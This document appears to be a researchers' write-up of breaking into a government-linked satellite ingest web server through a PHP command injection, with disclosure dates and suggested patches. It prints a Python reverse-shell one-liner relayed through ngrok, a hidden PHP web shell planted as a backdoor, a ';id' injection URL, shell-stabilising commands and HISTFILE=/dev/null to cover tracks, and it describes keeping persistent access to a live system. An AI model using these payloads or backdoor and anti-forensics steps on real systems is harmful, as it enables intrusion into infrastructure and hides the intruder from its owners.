Initial Discovery

We commenced our investigation by identifying a Satellite Ingest System that appeared to serve as a pivotal point in the town's internet connectivity infrastructure. Our curiosity was piqued by the absence of authentication measures, prompting us to initiate a comprehensive security evaluation of the associated web application.

Web Application Issues

Our review of the web application exposed a critical concern. The application unwittingly disclosed extensive information pertaining to the underlying infrastructure of the web server.

This inadvertent disclosure of internal information posed a great security risk, potentially providing malicious actors with the means to map internal processes, hosts, and external connections.

Identifying Command Injection

Now, here's where it gets interesting. We stumbled upon an f parameter. It allowed us to include local files or directories on the web server. The kicker? The file associated with this parameter was updating in real-time, probably coming from the server itself.

We figured out that the backend was PHP, and the server was running Apache. We started thinking about how this app handled logs. There were a couple of common ways.

One way was using PHP's file_get_contents() to grab user input and display it on the web page. That approach would allow us to perform path traversal and server-side request forgery (SSRF) vulnerabilities. Due to us being able to control and load the local files, we were controlling the f parameter thus it was taking user input.

<?php
$file = $_GET['f'];
$resp = file_get_contents($file);
print($resp);
?>

Another method was include(). When combined with user input from file_get_contents(), it could lead to local file inclusion (LFI) vulnerabilities, and in some cases, even remote code execution (RCE) through various methods such as log poisoning.

The least common way is involving system call based functions like exec(), system() and shell_exec(). A few of those functions directly run sys calls.

Usually, we'd need to break out of the current shell command and execute a normal one if eval() is not in use to directly load the defined function.

We can do that by passing something like ;newcommand or && etc etc.

We now have Command Injection.

Enumeration/Leveraging to a shell

Viewing /etc/passwd or additionally doing echo $SHELL will show us what shell we're currently able to use/are using.

/sbin/nologin

The short explanation for this, we were unable to call any Bash/SH shells they all failed, and we believe it's down to /sbin/nologin

After enumerating the box further, we did which python && which python3 which returned the box had python on our last hope was getting a full remote shell via python to invoke a sh and or bash shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

This gave us our shell. As we did not have a dedicated server at that time that we were willing to use and was not willing to have a reverse connection come to an open port on our router, we routed all TCP traffic through NGROK.

./ngrok tcp 1337

Now it'll basically go and connect to an external server, at which point will then resolve to 127.0.0.1:1337

We instantly started taking notes, we created a backup shell in case a threat actor somehow finds the box and identifies the vulnerabilities. (it was very deep within Shodan but has a subdomain connected to the main .gov.* domain thus we did not want to lose having our shells hijacked, vuln patched and a malicious actor sitting on the box.) To prevent this we hid a shell in redacted so if someone else had discovered this after us, we could always go back in, patch the vuln, kick them out and delete our shell (system secured to a degree).

;echo '<?php $inp = $_GET['th1sish4x1ngl0l10202'];$output = shell_exec($inp);echo "<pre>$output</pre>"; ?>' > tmp/y0uc4nn0tbr3tef0rc3th1s19393920.php

Stabilising our shell, converting to bash etc:

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

To keep our tracks clean, we redirected Bash history to /dev/null:

export HISTFILE=/dev/null

Due to not knowing where the f parameter is defined and there being many .php files, we decided to create a basic one-liner to read all files and grep for $_GET['f']; which returned within showfile.php. Viewing how the vulnerability occurred:

The code in a short form, defines the F Param within a variable called $f. Defines a variable called ctail and uses the cat binary to read the contents passed within the $_GET['f']; GET Param. Lastly it calls the shell_exec(); function passing the $ctail variable which consists of cat and the file passed.

E.g., cat <the_content_for_f_param>

A simple patch, they're only using this to provide updates of one file so simply:

<?php
$file = '/etc/passwd';
$ctail = 'cat ' . $file;
echo shell_exec($ctail);
?>

The above sys call takes no user input thus it is safe.

Or

<?php
$x = file_get_contents('path/to/file');
echo(x);
?>

Performing further source code analysis, we came across another command injection.

<h1>Ingestor - Next Image</h1>

<?php
    $u = $_GET['u'];
    $c = '/home/' . $u . '/bin/countdown -f -n /home/' . $u;
    echo '<strong>Output of ' . $c . ':</strong><br/><br/>';
?>

<center>
<pre>
<?php
    $t = shell_exec($c);
    print $t;
?>
</pre>
</center>

Pretty much the same as above. We did not find this while exploring the application as it was not created anywhere, but this is why source code analysis is a crucial part of security. Another place we may be able to access for code execution if the main command injection gets patched by a malicious actor.

Crafting the URL:http(s):url.gov/next.php?u=;id

We could schedule things in regards to the orbit satellite.

We could modify all of these crontabs/jobs which were being linked to a Government Domain, if we were to modify these with invalid things we believe this may have caused a worry to the entire town. Of course we did not do such things, instead, we took note to include in our report.

In conclusion, our journey into the Satellite Ingest System was an eye-opener. Hopefully the specific Government learned the importance of thorough security assessments and responsible disclosure. By identifying vulnerabilities and working together, we contributed to the overall security of critical infrastructure.

Initial contact:28th at 11:23am, October 2022.

Response: 24/11/2022

Credits: twitter.com/0SPwn & twitter.com/xorjosh